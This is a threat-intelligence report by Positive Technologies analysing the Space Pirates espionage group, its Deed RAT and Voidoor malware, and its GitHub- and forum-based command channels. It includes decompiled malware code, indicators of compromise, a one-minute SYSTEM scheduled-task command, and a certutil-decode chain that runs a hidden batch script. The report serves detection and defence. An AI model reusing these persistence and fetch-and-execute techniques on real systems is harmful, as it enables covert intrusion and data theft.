Space Pirates: a look into the group's unconventional techniques, new attack vectors, and tools

By Positive Technologies

Published: 2024-08-19 · Archived: 2026-04-05 20:13:53 UTC

Introduction

At the end of 2019, the team at the Positive Technologies Expert Security Center (PT ESC) discovered a new cybercrime group, which they dubbed Space Pirates. It had been active since at least 2017. The first-ever comprehensive research paper describing the group saw light in early 2022. The Space Pirates group have since stepped up attacks on Russian companies: we have come across the group frequently while investigating cyberattacks in the past year. They have hardly changed their tactics, but they have developed new tools and improved their old ones.

The cybercriminals' main goals are still espionage and theft of confidential information, but the group has expanded its interests and the geography of its attacks. Over the year, at least 16 organizations have been attacked in Russia and one in Serbia. Some of the new victims that we identified are Russian and Serbian government and educational institutions, private security companies, aerospace manufacturers, agricultural producers, defense, energy, and infosec companies.

1. Investigating the network infrastructure

We found an Acunetix installation on one of the Space Pirates command-and-control (C&C) servers, which suggested that the group exploited vulnerabilities—an attack vector we had not seen it use earlier.



Figure 1. Evidence of Acunetix being installed on a Space Pirates C&C server

During our investigation, we noticed that the group was interested in PST email archives (among other targets).
A configuration error on a Space Pirates C&C server allowed us to scan its contents, discovering two email archives belonging to a Serbian ministry.



```
![\[ICO\]](/icons/blank.gif)| [Name](?C=N;O=D)| [Last modified](?C=M;O=A)|
[Size](?C=S;O=A)| [Description](?C=D;O=A)
---|---|---|---|---

* * *

![\[   \]](/icons/unknown.gif)| [a.zip.001](a.zip.001)| 2023-01-13 06:30 |
500M|
![\[   \]](/icons/unknown.gif)| [a.zip.002](a.zip.002)| 2023-01-13 06:33 |
500M|
![\[   \]](/icons/unknown.gif)| [a.zip.003](a.zip.003)| 2023-01-13 06:36 |
280M|
![\[   \]](/icons/unknown.gif)| [[redacted].pst]([redacted].pst)|
2023-01-13 05:37 | 7.8M|
![\[   \]](/icons/unknown.gif)| [[redacted].pst]([redacted].pst)|
2023-01-13 02:26 |  72M|
![\[   \]](/icons/unknown.gif)| [public.jsp](public.jsp)| 2022-10-19 09:52 |
2.6K|
![\[   \]](/icons/unknown.gif)| [tun.php](tun.php)| 2022-11-01 06:57 | 5.5K|
![\[   \]](/icons/unknown.gif)| [u_ex230109_x.log](u_ex230109_x.log)|
2023-01-11 08:26 | 436M|
![\[   \]](/icons/unknown.gif)| [zimbra.jsp](zimbra.jsp)| 2022-10-19 09:34 |
2.6K|

* * *

Apache/2.4.52 (Ubuntu) Server at [redacted] Port 8080
```

Figure 2. C&C server with web shells and stolen data

We alerted the ministry via Serbia's National CERT. Other contents of the server included a Godzilla web shell and an obfuscated Neo-reGeorg tunnel.

The Space Pirates network infrastructure continues to use a small number of IP addresses as indicated by the DDNS domains. The malicious actors often reuse old website URLs by creating high-level domains, such as ruclient.dns04.com.ruclient.dns04.com.

The group had also begun using the ShadowPad malware, something we discovered as we were tracking changes in the hacker infrastructure using our internal ScanDat automated system. An alert we received pointed to a chain of SSL certificates characteristic of ShadowPad. That chain was covered in one of our previous reports. As we continued to investigate the incident in question, we found a copy of ShadowPad used by the Space Pirates group in the client's systems.

Figure 3. Chain of SSL certificates characteristic of ShadowPad

2. Analysis of the malware and tools

2.1. Deed RAT

Virtually every investigation we conducted found that the group was using Deed RAT. As far as we can tell, the Space Pirates group is moving away from other backdoors. Code similarities between Deed RAT and ShadowPad, noted by our peers, suggest that the backdoor is an evolution of ShadowPad. ShadowPad is in turn believed to be an evolution of PlugX. Unlike ShadowPad and PlugX, though, Deed RAT has been known to be exclusive to the Space Pirates group to date.

The backdoor is still under active development. We found a 64-bit version of Deed RAT on an infected device while investigating the incident. The structure of the main module and plugin headers is all but identical to the 32-bit version. Below is what it looks like:

```
struct SectionHeader {
    DWORD VirtualSize;
    DWORD SizeOfRawData;
};

struct ModuleHeader {
    DWORD Signature; // 0xDEED4554
    DWORD ModuleId;
    DWORD EntryPoint;
    QWORD OriginalBase;
    DWORD AbsoluteOffset;
    SectionHeader Sections[3];
    DWORD RelocationsVirtualSize;
};
```

The string encryption algorithm in recent versions is somewhat different. String length is no longer specified, and strings are null-terminated.

```
_BYTE *__stdcall decrypt_string(_BYTE *encrypted_string, _BYTE *decrypted_string)
{
  unsigned __int8 key; // ch MAPDST
  _BYTE *result; // eax
  int i; // edi
  unsigned __int8 roled_key; // cl
  int string_length; // [esp+4h] [ebp-4h]

  key = *encrypted_string;
  if ( key )
  {
    i = 0;
    string_length = key ^ (unsigned __int8)encrypted_string[1];
    if ( string_length )
    {
      do
      {
        roled_key = __ROL1__(key, 3);
        key += (key * key + roled_key * roled_key) ^ __ROR1__(key * roled_key, 3);
        decrypted_string[i] = key ^ encrypted_string[i + 2];
        ++i;
      }
      while ( i < string_length );
    }
    result = decrypted_string;
    decrypted_string[i] = 0;
  }
  else
  {
    result = decrypted_string;
    *decrypted_string = 0;
  }
  return result;
}
```

Figure 4. Original encryption algorithm, with string length explicitly stated

```
_BYTE *__fastcall decrypt_string(_BYTE *encrypted_string, _BYTE *decrypted_string)
{
  _BYTE *result; // eax
  unsigned __int8 key; // ch MAPDST
  int i; // esi
  unsigned __int8 roled_key; // cl
  char v7; // [esp+9h] [ebp-3h]

  result = encrypted_string;
  key = *encrypted_string;
  if ( key )
  {
    for ( i = 0; i < 4096; ++i )
    {
      v7 = result[i + 1];
      roled_key = __ROL1__(key, 3);
      decrypted_string[i] = key ^ v7;
      result = key;
      key += (key * key + roled_key * roled_key) ^ __ROR1__(key * roled_key, 3);
      if ( v7 == result )
        break;
      result = encrypted_string;
    }
  }
  else
  {
    *decrypted_string = 0;
  }
  return result;
}
```

Figure 5. Updated decryption algorithm for null-terminated strings

We found computers infected with Deed RAT to contain two plugins, retrieved dynamically from the C&C server. The first one is named Disk, has the identifier 0×250, and is used as a disk tool. Essentially a Windows API wrapper, Disk supports the 10 network commands described below.

Identifier	Description
0x250	List disks
0x251	List files inside folder
0x252	List files inside folder recursively. The response returns the fields of the WIN32_FIND_DATAW structure, such as timestamp, size, attributes, and name
0x253	Call the SHFileOperation function with specified operation code and flags FOF_NOERRORUI | FOF_NOCONFIRMMKDIR | FOF_NOCONFIRMATION | FOF_SILENT | FOF_MULTIDESTFILES
0x254	Execute command via CreateProcess
0x255	Get file attributes and content
0x257	Write file to specified path with attributes
0x259	Create folder
0x25A	List network resources
0x25B	Connect network drive. The command sends a NETRESOURCEW structure

The other plugin is named Portmap and has the identifier 0×290. The hackers likely based it on the ZXPortMap utility often used by Asian cybercrime groups. The plugin is used for port forwarding and supports three network commands, each corresponding to an operating mode.

Identifier	Description
0x290	Proxy one request
0x292	Start simple proxy on specified port
0x294	Start SOCKS5 proxy without authentication on specified port

Additionally, the main module code contains a reference to a module with the identifier 0xC0, which we did not come across. Apparently, it was a built-in module that executed some actions before the backdoor started.

The configuration header in recent versions looks as follows:

```
struct DeedRATConfigHeader {
    DWORD Signature; // 0xC88CDB32
    BYTE UnusedFlag;
    WORD pInitialKey;
    BYTE PairReplacableFlag1;
    WORD pInstallationPath;
    WORD pSideLoadingDllName;
    WORD pShellcodeName;
    WORD pServiceName;
    WORD pDisplayedServiceName;
    WORD pServiceDescription;
    WORD pPersistentRegistryKey;
    WORD pPersistentRegistryValue;
    BYTE PairReplacableFlag2;
    WORD pTargetProcessForInject1;
    WORD pTargetProcessForInject2;
    WORD pTargetProcessForInject3;
    WORD pTargetProcessForInject4;
    WORD pBotID;
    BYTE UnusedFlag;
    WORD pMutexName;
    BYTE Unknown[58];
    BYTE DayOfWeek1;
    BYTE StartHour1;
    BYTE EndHour1;
    BYTE DayOfWeek2;
    BYTE StartHour2;
    BYTE EndHour2;
    BYTE DayOfWeek3;
    BYTE StartHour3;
    BYTE EndHour3;
    BYTE DayOfWeek4;
    BYTE StartHour4;
    BYTE EndHour4;
    BYTE DnsFlag;
    DWORD DnsIP1;
    DWORD DnsIP2;
    DWORD DnsIP3;
    DWORD DnsIP4;
    BYTE DohFlag;
    WORD pDohAddress1;
    WORD pDohAddress2;
    WORD pDohAddress3;
    WORD pDohAddress4;
```

```
    BYTE Unknown[34];
    WORD pC2Url1;
    WORD pC2Url2;
    WORD pC2Url3;
    WORD pC2Url4;
    BYTE UnusedFlag;
    WORD pProxyUrl1;
    WORD pProxyUrl2;
    WORD pProxyUrl3;
    WORD pProxyUrl4;
    BYTE Unknown[3];
};
```

The rest of the configuration consists of encrypted strings referenced in the header.

The DNS list in the configuration remains unchanged as follows: 8.8.8.8 (Google Public DNS), 1.1.1.1 (Cloudflare DNS), 9.9.9.9 (Quad9 DNS), 222.222.67[.]208. The final DNS likely should be spelled as 208.67.222.222 (Cisco OpenDNS). The config seems to use little-endian addressing, rather than the network byte order. The likely reason why the error might have gone unnoticed so far is that this address is the last one on the list and seldom sees use, while the others are not affected by endianness.

Never once did we see a DNS service hosted at 222.222.67[.]208. We have seen similar attempts to resolve domain names using non-existent DNS servers (see figure below).

222.222.67.208	DNS	83	Standard query 0xae4a A web.winsvr.lflinkup.org
222.222.67.208	DNS	83	Standard query 0x62eb A romis.wulatula.xxxy.biz
222.222.67.208	DNS	76	Standard query 0xff82 A tach.anp.ddns.ms
222.222.67.208	ICMP	120	Destination unreachable (Port unreachable)
222.222.67.208	DNS	83	Standard query 0x1a39 A web.winsvr.lflinkup.org
222.222.67.208	DNS	76	Standard query 0x82a3 A tach.anp.ddns.ms
222.222.67.208	ICMP	120	Destination unreachable (Port unreachable)
222.222.67.208	DNS	76	Standard query 0xf1fc A tach.anp.ddns.ms
222.222.67.208	ICMP	120	Destination unreachable (Port unreachable)
222.222.67.208	DNS	76	Standard query 0xa813 A tach.anp.ddns.ms
222.222.67.208	ICMP	120	Destination unreachable (Port unreachable)
222.222.67.208	DNS	76	Standard query 0x7895 A tach.anp.ddns.ms
222.222.67.208	DNS	76	Standard query 0x2e0c A tach.anp.ddns.ms
222.222.67.208	ICMP	120	Destination unreachable (Port unreachable)
222.222.67.208	DNS	83	Standard query 0x6752 A web.winsvr.lflinkup.org
222.222.67.208	DNS	83	Standard query 0x0818 A web.winsvr.lflinkup.org

Figure 6. Traffic containing requests to a non-existent DNS server

Queries like these are a likely sign of Deed RAT infection.

Unlike the sample described above, the backdoor contains the environment pseudovariable %AUTOPATH%, used in the configuration field InstallationPath and, depending on backdoor permissions and system bitness, resolved as follows:

- %AppData% if the backdoor is missing administrator permissions
- %ProgramFiles(x86)% if the backdoor has administrator permissions and the system is 64-bit Windows
- %ProgramFiles% if the backdoor has administrator permissions and the system is 32-bit Windows

We have seen a similar implementation in PlugX, which used the variable %AUTO%.

It seems interesting in light of the group's presumed Chinese origins that the number four is a regular feature of the code: four days on which the backdoor cannot run, four links to C&C servers, four links to proxies, four inject processes the malware into, four DNS servers, four DoH addresses. The pronunciation of the Chinese character 四 (four) differs from 死 (death) only in tone, thus the number four is considered unlucky.

2.2. Voidoor

During an investigation, we obtained a sample of unknown, functionally different malware. Our timeline of the sample appearing on the infected computer suggested that the malware is delivered via Deed RAT already installed on the machine and belongs to the Space Pirates group. We were later shown to be right. We named the malware Voidoor, after the C&C server and the backdoor malware type.

22.02.2023 3:14	nn-[redacted]	C:\\ProgramData\\AhnLab\\V3IS80\\V3APKMD.exe
06.03.2023 3:54	ALEX-PC	c:\windows\tasks\AhnWifi.exe
06.03.2023 3:54	ALEX-PC	C:\ProgramData\AhnWifi\AhnWifi.exe
06.03.2023 3:54	ALEX-PC	C:\ProgramData\AhnWifi\secwifi.lot
06.03.2023 9:31	nn-[redacted]	C:\Windows\Tasks\loin.exe -c 108.61.163.191:80 -s 456123
07.03.2023 5:54	ALEX-PC	c:\Windows\Temp\taskeng.exe
07.03.2023 6:34	ALEX-PC	c:\Windows\Tasks\ag.exe
08.03.2023 6:18	nn-[redacted]	SYSVOL\Windows\Tasks\SharpHound.exe
08.03.2023 8:35	ALEX-PC	C:\Windows\Temp\ConsoleApplication1.exe
10.03.2023 1:07	nn-[redacted]	C:\Windows\Temp\ConsoleApplication1.exe
16.03.2023 10:51	ALEX-PC	C:\Windows\Tasks\nb.exe

Figure 7. Voidoor (ConsoleApplication1.exe) appearing on the infected ALEX-PC computer

Compiled at the end of 2022, Voidoor is a 32-bit EXE file containing the PDB path "C:_\Project1\Release\Project1.pdb".



Figure 8. Information from the DIE analysis tool

Most of the strings inside are XOR-encoded with the key 0×22.

```
memset(Src, 49, 72);
v184 = 0;
for ( i = 0; i < 0x48; ++i )
  // /919A1C3FD38A41D89ED53F1967AF443D/contents/tgggggggggggggggggggggggggggg
  Src[i] = v112[4 * i] ^ 0x22;
v98 = 15;
```

Figure 9. Obfuscated stack strings

The Voidoor life cycle can be broken down into the following phases:

1. Preparation
2. Talking to GitHub repositories
3. Gaining persistence
4. Talking to the voidtools forum
5. Talking to GitHub

2.2.1. Preparatory phase

The sample starts by trying to open port 27015. If unsuccessful, the process is terminated, so that only one sample is left running at any given time. This is followed by decrypting the bulk of the strings. These can be broken down into the following groups:

1. Talking to GitHub: access token, HTTP headers, user name, user repositories, names of files to be downloaded and run
2. Talking to the voidtools forum: URI with parameters
3. Talking to both GitHub and voidtools: User-Agent header: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36. The HTTP header in the network commands is written in lowercase, unlike the other fields
4. Local activity: name of scheduler task, paths of files created by Voidoor

The above strings are decrypted inside one function, and they can be categorized as file configuration. In addition to that, as the malware runs, it decrypts locally used strings.

This phase also sees Voidoor use the victim identifier, stored in a %TEMP%/ids file. If not present, the file is created, with three concatenated random numbers used as the ID.

```
LOBYTE(Block) = 0;
// %TEMP%\ids
FileAttributesA = GetFileAttributesA(v11);
if ( FileAttributesA == -1 || (FileAttributesA & 0x10) != 0 )
{
  v16 = _time64(0);
  srand(v16);
  v17 = rand();
  v18 = rand();
  v19 = rand();
  v20 = int_to_str(&v224, v19);
  LOBYTE(v277) = 19;
  v21 = int_to_str(v161, v18);
  LOBYTE(v277) = 20;
  v22 = int_to_str(v128, v17);
  LOBYTE(v277) = 21;
  v23 = split_str(v121, v22, v21);
  LOBYTE(v277) = 22;
  v24 = split_str(v132, v23, v20);
  v25 = &device_id;
  strcpy(&device_id, v24);
```

Figure 10. Generating a victim ID

2.2.2. Talking to GitHub repositories

A personal access token hard-coded in the sample tells us a few things about the owner and their repositories:

```
Token issuer: hasdhuahd
Token issuer url: https://api.github.com/users/hasdhuahd
User created at: 2022-11-23T01:08:24Z
User updated at: 2023-03-20T07:47:54Z

Project:        hasdhuahd/919A1C3FD38A41D89ED53F1967AF443D
Created at:     2022-11-23T03:44:21Z
Visibility:     private

Project:        hasdhuahd/myprivaterepo-1
Created at:     2022-11-23T03:44:32Z
Visibility:     private

Project:        hasdhuahd/13F20E32BDBA46229631517AB130A7E7
Created at:     2022-11-24T04:39:35Z
Visibility:     public

Project:        hasdhuahd/al-khaser
Created at:     2022-12-07T08:16:58Z
Visibility:     public
```

- hasdhuahd/919A... acts as the C&C center.
- hasdhuahd/myprivaterepo-1 holds the tools used by the malware.
- hasdhuahd/13F2... contains the only file that has a UUID. Its function is unknown.
- hasdhuahd/al-khaser is a fork of a public antivirus benchmarking utility.

The sample assembles the paths to the repositories it will use.

```
v80[15] = 17;
v80[16] = 16;
v80[17] = 103;
strcpy(v81, "11111111111111111111111111111111");
for ( i = 0; i < 0x20; ++i )
  v81[i] = LOBYTE(v79[i]) ^ 0x22;
// 1A11878899834F1591DFADC277B2132E
v64 = 15;
v63 = 0;
LOBYTE(__1A11878899834F1591DFADC277B2132E[0]) = 0;
if ( v81[0] )
  v7 = strlen(v81);
else
  v7 = 0;
strcpy2(__1A11878899834F1591DFADC277B2132E, v81, v7);
LOBYTE(v82) = 1;
v8 = std::operator+<char>(&repos_, &github_username);
LOBYTE(v82) = 2;
// /repos/hasdhuahd/919A1C3FD38A41D89ED53F1967AF443D/git/trees/main
v9 = string_join(v8, Block, &919A1C3FD38A41D89ED53F1967AF443D_git_tree_main);
LOBYTE(v82) = 3;
// /repos/hasdhuahd/919A1C3FD38A41D89ED53F1967AF443D/git/trees/main?recursive=1
string_join(v9, v57, &recursive);
if ( v76 >= 0x10 )
  j__free_0(Block[0]);
```

Figure 11. Building the paths to a repository

Network communication is handled by libcurl.

Voidoor's first task is to tell the operators about the new victim. To do this, it builds the link https://api.github.com/repos/hasdhuahd/919A.../git/trees/main?recursive=1 and downloads the file 1A11878899834F1591DFADC277B2132E. If network is unavailable, the program will keep trying until it can download the file. The file maintains a victim list of several dozen strings consisting of a computer name and a pre-generated identifier.

```
DNK-01+750365626889
SIMAKIN+982229802923 5
T-WSI-536-8+153202538268 44
WIN-SXZGWHSYKK2+184021857256 82
WIN-G3RLG7IKNEG+11583664276 22
DESKTOP-CIVLFWA+184021857256 82
WIN-PDWQPARTELA+68336634114 88
WIN-COBS0CUVQSC+683028654263 92
DESKTOP-90OMFKQ+682029176556 7
DESKTOP-SCC3YOM+140215381892 9
231-01326375+22055421531770
MF155+7013195255213
DESKTOP-A36P5GQ+863620299357 8
GALIMOV+533989062 05
```

Figure 12. Part of the victim list. The plus sign is used as a delimiter

The JSON file returned by GitHub is parsed by chopping it into substrings.

```
    std::string::substr(Buf, v68, a14 + v30, 0xFFFFFFFF);
    LOBYTE(v99) = 7;
    if ( !a3 )
      goto LABEL_40;
    v32 = sub_379E80(v68, "\"", v31);
    if ( v32 != -1 )
    {
      v34 = std::string::substr(v68, v93, 0, v32);
      strcpy(v62, v34);
      std::string::~string(v93);
LABEL_40:
      strcpy(v98, "url\": \"");
      v82 = 15;
      strcpy(v80, "url\": \"");
      v81 = 7;
      LOBYTE(v99) = 8;
      v35 = sub_37E9B0(v68, v80, '"lru', 7u);
      if ( v35 == -1 )
      {
        exit_code = 0;
      }
      else
      {
        std::string::substr(v68, v65, v35 + 7, 0xFFFFFFFF);
        LOBYTE(v99) = 9;
        v37 = sub_379E80(v65, "\"", v36);
        if ( v37 == -1 )
        {
          exit_code = 0;
        }
        else
        {
          std::string::substr(v65, v66, 0, v37);
```

Figure 13. Every developer had this phase

If the above list does not contain a the identifier generated for the victim, Voidoor sends an HTTP PUT request to api.github.com. GitHub supports adding and modifying files with PUT requests as detailed here: docs.github.com/en/rest/repos/contents#create-or-update-file-contents. Remarkably, this phase includes the decryption of a string in the malware code that will be modified later:

```
{"message": "commit message", "content": "dGhpcyBpcyBkb25l", "sha": "164adc449d458c4b0819bb348db9b07ca2fc367d
```

The sequence dGhpcyBpcyBkb25l turns into "this is done". This string is replaced with the ID to be added, and the resulting value is sent to the file 164adc449d458c4b0819bb348db9b07ca2fc367d. The sample then calls the repository myprivaterepo-1, downloading a shellcode file XOR-encrypted with the key 0×22 to the folder %TEMP%\myfile.bin.

It is worth noting that the developer has implemented integrity control by appending a SHA-256 checksum to the end of the file names, which is derived from the downloaded files and checked.

```
v3 = v2;
v11[19] = 0;
v14 = 0;
SHA256_Init(v12);
SHA256_Update(v12, Block, a2 - Block);
SHA256_Final();
string_vtable(v8, v13, v12);
LOBYTE(v14) = 1;
for ( i = 0; i < 32; ++i )
{
  *(&v9[5] + *(v9[0] + 4)) = *(&v9[5] + *(v9[0] + 4)) & 0xFFFFF1FF | 0x800;
  v5 = std::setw(v7, 2, 0);
  (*v5)(v9 + *(v9[0] + 4), *(v5 + 8), *(v5 + 12));
  v10[*(v9[0] + 4) + 56] = 48;
  sub_FFA0A0(v9, v13[i]);
}
sub_FFCBE0(v8, v3);
```

Figure 14. Verifying the checksum of a downloaded file

Judging by the corrupted shellcode files in the repository history, this desperate measure was intended as an extra guarantee that the file is valid. Interestingly enough, at some point, the developer began to additionally encode binary files in Base64 to avoid byte interpretation issues when storing these in Git.

Then, the sample terminates every process with the name ConsoleApplication1.exe, downloads a file with that name from the tooling repository, and saves it to the folder with the shellcode.

2.2.3. Gaining persistence

Voidoor generates a scheduler task as follows:

schtasks /create /tn MyApp /tr <File path> /sc minute /mo 1 /f && schtasks /create /tn MyApp /tr <File path> /sc minute /mo 1 /ru system /f

This task runs the malware every minute, with system permissions if possible. Clashes that may be caused by this outrageous frequency are avoided by checking port 27015. Notable is the method of gaining persistence: the malware uses the previously downloaded file ConsoleApplication1.exe, which is also used to run the shellcode. The process then generates a task inside the file orderFile.txt, formatting its contents in a way that resembles the output of certutil -encode (see figure below).

```
v132 = 118;
v133 = 103;
strcpy(BEGIN_CERTIFICATE, "11111111111111111");
for ( n = 0; n < 0x11; ++n )
  // BEGIN CERTIFICATE
  BEGIN_CERTIFICATE[n] = *(&v117 + 4 * n) ^ 0x22;
std::string::string(BEGIN_2, BEGIN_CERTIFICATE);
v117 = 103;
v118 = 108;
v119 = 102;
v120 = 2;
v121 = 97;
v122 = 103;
v123 = 112;
v124 = 118;
v125 = 107;
v126 = 100;
v127 = 107;
v128 = 97;
v129 = 99;
v130 = 118;
v131 = 103;
strcpy(END_CERTIFICATE, "111111111111111");
for ( ii = 0; ii < 0xF; ++ii )
  // END CERTIFICATE
  END_CERTIFICATE[ii] = *(&v117 + 4 * ii) ^ 0x22;
std::string::string(END_2, END_CERTIFICATE);
v42 = sub_1002440(v76, Buf);
```

Figure 15. Decrypting stack strings related to certutil

A Base64-encrypted command is placed in the BEGIN CERTIFICATE and END CERTIFICATE strings. The program runs the file ConsoleApplication1, which decrypts the shellcode (using the operation XOR 0×22) and runs it. The file logic is as follows:

```
cmd /c certutil -decode C:\Users\Public\Downloads\orderFile.txt C:\Users\Public\Downloads\silentBase.bat && e
cmd /c type C:\Users\Public\Downloads\silentBase.bat>C:\Users\Public\Downloads\Basesilent.txt && copy C:\User
1>C:\Users\Public\Downloads\checkString || echo 1>C:\Users\Public\Downloads\checkString
cmd /c C:\Users\Public\Downloads\silentBase.bat &&echo 1>C:\Users\Public\Downloads\interResultFile.txt && ech
Removal of API files via Windows  C:\Users\Public\Downloads\houston, C:\Users\Public\Downloads\interResultFil
```

It can be simplified as follows:

```
# Decode orderFile.txt to silentBase.bat
cd C:\Users\Public\Downloads
certutil -decode orderFile.txt silentBase.bat

# Use type and copy commands to complicate automated tracking of links between processes and artifacts
type silentBase.bat>Basesilent.txt
copy Basesilent.txt silentBase.bat
del Basesilent.txt

# Execute the script-in this case, the main file persistence logic
silentBase.bat

# Clean up temporary files
```

2.2.4. Talking to the voidtools forum

To support further operation, the program creates an invisible window with two threads.

```
v72.hCursor = LoadCursorW(0, 0x7F00);
v72.hbrBackground = 5;
v72.lpszClassName = "1";
RegisterClassExW(&v72);
Window = CreateWindowExW(0, "1", "1", 0xCF0000u, 300, 300, 0, 0, 0, 0, v58, 0);
ShowWindow(Window, 0);
v71 = 0;
CreateThread(0, 0, thread_1, &Window, 0, &v71);
v68 = 0;
CreateThread(0, 0, thread_2, &Window, 0, &v68);
while ( GetMessageW(&Msg, 0, 0, 0) )
{
  TranslateMessage(&Msg);
  DispatchMessageW(&Msg);
}
```

Figure 16. Creating two threads

The second thread serves the simple purpose of standing by for ten hours, then activating the termination flag for the first one.

```
void __stdcall __noreturn thread_2(LPVOID lpThreadParameter)
{
  int v1; // esi

  while ( 1 )
  {
    v1 = 36000;
    do
    {
      Sleep(1000u);
      --v1;
    }
    while ( v1 );
    thread_completion_flag = thread_completion_flag == 0;
  }
}
```

Figure 17. Body of the termination control thread

The flag will be checked in the global cycle of the first thread.

```
  v49 = lpThreadParameter;
  if ( thread_completion_flag )
LABEL_63:
    ExitProcess(0);
  Sleep = ::Sleep;
  while ( start_github_command_functionality
       || !voidtools_check_complete && (!voidtools() || start_github_command_functionality) )
  {
    Sleep(0x3E8u);
LABEL_62:
    if ( thread_completion_flag )
      goto LABEL_63;
  }
```

Figure 18. Global cycle of the first thread with the exit condition

The checks relating to the forum part must be passed to proceed to the next phase.

First, the thread decrypts the strings https://www.voidtools.com, /forum/ucp.php, and ?i=ucp_pm&mode=options. "UCP" means "User Control Panel" in the context of this website. Interestingly, the sample adds "asdasdasd" to the cookie request header, but we could not find any common sense in that.

The process concatenates the strings and sends a request to the resulting address. If there is a connection, the request will be redirected to the login page.



Figure 19. Forum login form

The sample will then send a POST request to log in to the forum using the hard-coded login and password, and if successful, store the values of the phpbb3_h6rei_u, phpbb3_h6rei_k, and phpbb3_h6rei_sid cookies, which are required for the session.

The forum has a personal messaging system that supports custom rules.



Figure 20. Email rules from several malware samples

The sample will try to define a new rule even if this rule already exists:

check_option=1&rule_option=1&rule_string=^<victim ID>^&rule_user_id=0&rule_group_id=0&cond_option=text&action_option=1|0&add_rule=Add rule&foldername=&rename_folder_id=8&new_folder_name=&remove_folder_id=8&remove_action=1&move_to=0&full_move_to=0&full_action=3&<device timestamp>&form_token=<parsed token from the page>

Figure 21. Warning message when trying to create a duplicate rule

The malware will download the page with the list of rules again. This time, though, it is looking for a folder whose name features the victim ID.



Figure 22. List of directories and folders

The folder must be created by the C&C server, or else the sample will get stuck in a loop for ten hours repeatedly adding the new rule. Multiple folders cannot be created, as the sample will take the first entry for comparison. We suspect this means that the C&C server can communicate with only one sample via GitHub at any given time.

The forum is powered by the phpBB engine; it proved to be a treasure trove of useful information.



Figure 23. Account registration date



Figure 24. Address created by a temporary email service



Figure 25. The time zone is Antarctic

The forum notably requires some activity from users before allowing them to send email.

Figure 26. Restriction on messaging for newcomers

The so-called "Remember me" login keys were a real catch. This function helps to manage active sessions whose tokens are stored client-side. If the device is stolen, the user can block it by removing the key from the list. The device will lose access to the profile, and the forum will ask for a user name and password to log in again. This is a legacy feature based on a use case that was described in a 2004 post we found on the phpBB community forum. We consider that functionality to be dangerous.

Figure 27. Top of the active session list

We found more than 3,500 login events associated with 73 unique IP addresses, and we were able to attribute voidoor to the APT group after discovering a series of logins from Space Pirates IP addresses that occurred within days of registering the

account. By correlating these events with activities in the GitHub repository, we established that these logins took place during the malware development and testing phases.

b0226f19	111.41.144.145	Fri Dec 02, 2022 10:49 am	☐
9d1cca29	111.41.144.145	Fri Dec 02, 2022 10:49 am	☐
435051ee	45.133.181.251	Fri Dec 02, 2022 11:54 am	☐
680588dc	202.182.119.156	Fri Dec 02, 2022 12:27 pm	☐
4b9f65f3	45.133.181.251	Fri Dec 02, 2022 12:28 pm	☐
23777df4	202.182.119.156	Fri Dec 02, 2022 12:37 pm	☐
009d5c98	45.133.181.251	Fri Dec 02, 2022 12:38 pm	☐
bffef065	45.133.181.251	Fri Dec 02, 2022 4:43 pm	☐
b5035046	111.41.144.145	Fri Dec 02, 2022 4:43 pm	☐
b1bcbdd6	111.41.144.145	Fri Dec 02, 2022 4:44 pm	☐
c8411d25	202.182.119.156	Fri Dec 02, 2022 4:45 pm	☐
810392ac	111.41.144.145	Fri Dec 02, 2022 4:46 pm	☐
0b1cef2c	202.182.119.156	Fri Dec 02, 2022 4:59 pm	☐
069f3e16	[redacted]	Fri Dec 02, 2022 5:10 pm	☐
5c6acf0b	202.182.119.156	Fri Dec 02, 2022 5:10 pm	☐
a45ad06e	202.182.119.156	Fri Dec 02, 2022 6:45 pm	☐
2628d653	202.182.119.156	Fri Dec 02, 2022 8:26 pm	☐
68587965	202.182.119.156	Fri Dec 02, 2022 8:30 pm	☐

Figure 28. Addresses related to the Space Pirates C&C server

The hackers have targeted universities, healthcare centers, energy companies, private security providers and government organizations in Russia and Serbia.

2.2.5. GitHub-based C&C server

The sample switches to the communication mode based on GitHub commands. It searches the repository 919A... for a file whose name consists of two parts: a string of the same type as the value returned by the command and an identifier.

Communication takes place as follows:

1. The malware receives a command in the specified file. The command consists of three strings: the command identifier, the return value type, and the command body. We are aware of the following two return value types:
    - D737C9A763E941BDAA69C6EE83553014: download the file from the victim's computer and upload it to GitHub
    - 139445A83B5B4ED79FAF4439FC7FFE69: execute the command
2. The sample runs the above task and uses a PUT request to upload an object with the name formatted as <command type> + <victim identifier> to the repository.
3. The process loops to the start: the sample returns to standby mode, waiting to get a command with an identifier different from the previous one.

Example of this kind of communication:

```
datetime: 2022-11-24 12:40:59+08:00
message: commit message
1A11878899834F1591DFADC277B2132E 2 insertions, 0 deletions, 2 lines (file with the new infected victim added)
>>>
\n
DESKTOP-94KT1VQ+200882088117246
<<<

datetime: 2022-11-24 12:42:05+08:00
message: commit message
D7B3FDC2EABE453BB39FA73557FC77F3200882088117246 4 insertions, 0 deletions, 4 lines
>>>
uuid: 8b0e4a01-b242-45a4-a86d-25ab54a3308a
md5: 139445A83B5B4ED79FAF4439FC7FFE69
cmd: hostname
<<<

datetime: 2022-11-24 12:46:30+08:00
```

```
message: commit message
A2EE1A74A32344FEA87A42D39501349920088208811724 6 insertions, 0 deletions, 5 lines
>>> GB18030 (simplified_chinese):

C:\mylittletrojan\shellcodeloader\thumb_drive-main\thumb_drive_copy_real_time\7z2200-src\CPP\7zip\UI\Client7z
DESKTOP-94KT1VQ

<<<
```

Unfortunately, our copy of the file is missing that functionality: the command identifier includes an extraneous hard-coded identifier with an unknown return value type: D7B3FDC2EABE453BB39FA73557FC77F3171542571331346. The string prevents the code from executing correctly, causing the sample to loop for ten hours, as the termination flag that the cycle checks is set by the second thread. As the string is XOR-encrypted in its entirety inside the file, the function can be considered deactivated but not removed.

2.2.6. Some facts about the developer of the tool

By analyzing the GitHub repositories, we can easily identify the testing and operation phases of the malware. We know that the name of the hacker's device is desktop-94kt1vq. Online search returns a blog on Chinese Software Developer Network.

Figure 29. Web search results

Figure 30. Developer profile

The user posts a lot, with a total of 177 original entries, and importantly for us, his name in the system ("X") matches the name used by the C&C server.

```
142
143         char strFinalIp[34];
144         sprintf_s(strFinalIp, "%d.%d.%d.%d\n", _1, _2, _3, _4);
145         // printf("%s\n", strBinIp);
146         printf("\t%s\n", strFinalIp);
147     }
148
149     return 0;
150 }
```

```
1 C:\Users\x\source\repos\ConsoleApplication1\x64\Debug\ConsoleApplication1.exe 1.2.3.43/20
```

Figure 31. The user name "X" and the default project name "ConsoleApplication"

